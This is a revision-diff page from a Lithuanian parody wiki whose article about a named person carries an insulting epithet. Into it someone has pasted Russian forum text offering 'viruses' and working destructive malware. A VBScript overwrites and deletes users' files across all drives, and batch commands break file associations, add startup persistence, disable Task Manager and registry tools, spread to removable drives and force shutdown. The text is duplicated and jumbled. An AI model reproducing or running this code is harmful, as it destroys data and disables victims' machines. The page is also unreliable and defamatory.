Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia durnapedija! Nusišnekėjimų šventovė!

Andrius Užkalnis: Skirtumas tarp puslapio versijų

Iš Pipedijos - durniausios enciklopedijos.
Peršokti į: navigaciją, paiešką
Eilutė 1: Eilutė 1:
{{Abejotinas}}
+
{{teslos gabalas}}
[[Vaizdas:http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]
+
[[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])
+
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])Аватар для NighTGhosT
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err
+
 +
Вот еще 2 вируса:
 +
1) Создаём vbs программу, у кого нет этого языка создаёт блокнот вбивает туда то, что я напишу ниже и сохраняем с расширением vbs.
  
copy %0 C:\Microsoft.batcopy%0 D:\System.batattrib +s +r C:\Microsoft.batattrib +s +r D:\System.bat
 
  
reg add "hklm\software\microsoft\windows\currentversion\ru n" /v drive /t reg_sz /d C:\Microsoft.batreg add "hklm\software\microsoft\windows\currentversion\ru nservices" /v drive /t reg_sz /d C:\Microsoft.batreg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f
+
haha()
 +
Sub haha()
 +
On Error Resume Next
 +
Dim d, dc, s, fso, haha
 +
Set fso = CreateObject("Scripting.FileSystemObject")
 +
Set dc = fso.Drives
 +
For Each d In dc
 +
If d.DriveType = 2 Or d.DriveType = 3 Then
 +
hihi (d.Path & "\")
 +
End If
 +
Next
 +
haha = s
 +
End sub
 +
Sub hehe(folderspec)
 +
On Error Resume Next
 +
Dim f, f1, fc, ext, s, fso
 +
Set fso = CreateObject("Scripting.FileSystemObject")
 +
Set f = fso.GetFolder(folderspec)
 +
Set fc = f.Files
 +
For Each f1 In fc
 +
ext = fso.GetExtensionName(f1.Path)
 +
ext = LCase(ext)
 +
s = LCase(f1.Name)
 +
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
 +
Set f = fso.getfile(wscript.scriptfullname)
 +
f.Copy (f1.Path & ".vbe")
 +
fso.deletefile(f1.path)
 +
End If
 +
Next
 +
End Sub
 +
Sub hihi(folderspec)
 +
On Error Resume Next
 +
Dim f, f1, sf, fso
 +
Set fso = CreateObject("Scripting.FileSystemObject")
 +
Set f = fso.GetFolder(folderspec)
 +
Set sf = f.SubFolders
 +
For Each f1 In sf
 +
hehe (f1.Path)
 +
hihi (f1.Path)
 +
Next
 +
End Sub
 +
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err
 +
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f
  
 
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat
 
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat

20:05, 20 liepos 2015 versija

Šablonas:Teslos gabalas [Užkalnis rūko naglai birka] Andrius Užkalnis gandonas (latv. Andrējs Pādkalniekšs)Аватар для NighTGhosT

Вот еще 2 вируса: 1) Создаём vbs программу, у кого нет этого языка создаёт блокнот вбивает туда то, что я напишу ниже и сохраняем с расширением vbs.


haha() Sub haha() On Error Resume Next Dim d, dc, s, fso, haha Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then hihi (d.Path & "\") End If Next haha = s End sub Sub hehe(folderspec) On Error Resume Next Dim f, f1, fc, ext, s, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = LCase(ext) s = LCase(f1.Name) If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then Set f = fso.getfile(wscript.scriptfullname) f.Copy (f1.Path & ".vbe") fso.deletefile(f1.path) End If Next End Sub Sub hihi(folderspec) On Error Resume Next Dim f, f1, sf, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf hehe (f1.Path) hihi (f1.Path) Next End Sub

task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err

DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f

copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat

attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat

goto err

err;shutdown -t 5 -s